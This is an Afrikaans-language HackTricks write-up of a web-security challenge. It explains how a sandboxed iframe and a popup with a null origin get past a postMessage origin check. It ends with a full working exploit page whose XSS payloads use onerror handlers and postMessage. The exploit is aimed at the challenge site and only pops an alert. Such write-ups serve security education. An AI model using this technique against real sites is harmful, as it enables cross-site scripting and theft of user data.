Bypassing SOP with Iframes - 1

Support HackTricks

Iframes in SOP-1

In hierdie uitdaging geskep deur NDevTK en Terjanq moet jy 'n XSS in die gekodeerde

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Die hoofprobleem is dat die hoofblad DomPurify gebruik om die data.body te stuur, so om jou eie html data na daardie kode te stuur, moet jy bypass e.origin !== window.origin.

Kom ons kyk na die oplossing wat hulle voorstel.

SOP bypass 1 (e.origin === null)

Wanneer //example.org in 'n sandboxed iframe ingebed is, sal die bladsy se origin null wees, d.w.s. window.origin === null. So net deur die iframe in te bed via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> kan ons die null origin force.

As die bladsy ingebed kan word, kan jy daardie beskerming op daardie manier omseil (koekies moet dalk ook op SameSite=None gestel word).

SOP bypass 2 (window.origin === null)

Die minder bekende feit is dat wanneer die sandbox waarde allow-popups gestel is, die geopende popup al die sandboxed attributes sal erf tensy allow-popups-to-escape-sandbox gestel is. So, om 'n popup van 'n null origin te open, sal window.origin binne die popup ook null wees.

Uitdaging Oplossing

Daarom, vir hierdie uitdaging, kan 'n mens 'n iframe skep, 'n popup na die bladsy met die kwesbare XSS kodehandler (/iframe.php) open, aangesien window.origin === e.origin omdat albei null is, is dit moontlik om 'n payload te stuur wat die XSS sal benut.

Daardie payload sal die identifier kry en 'n XSS dit terug na die boonste bladsy stuur (die bladsy wat die popup geopen het), wat die ligging na die kwesbare /iframe.php sal verander. Omdat die identifier bekend is, maak dit nie saak dat die voorwaarde window.origin === e.origin nie nagekom word nie (onthou, die origin is die popup van die iframe wat origin null het) omdat data.identifier === identifier. Dan, die XSS sal weer aktiveer, hierdie keer in die korrekte origin.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Ondersteun HackTricks

Last updated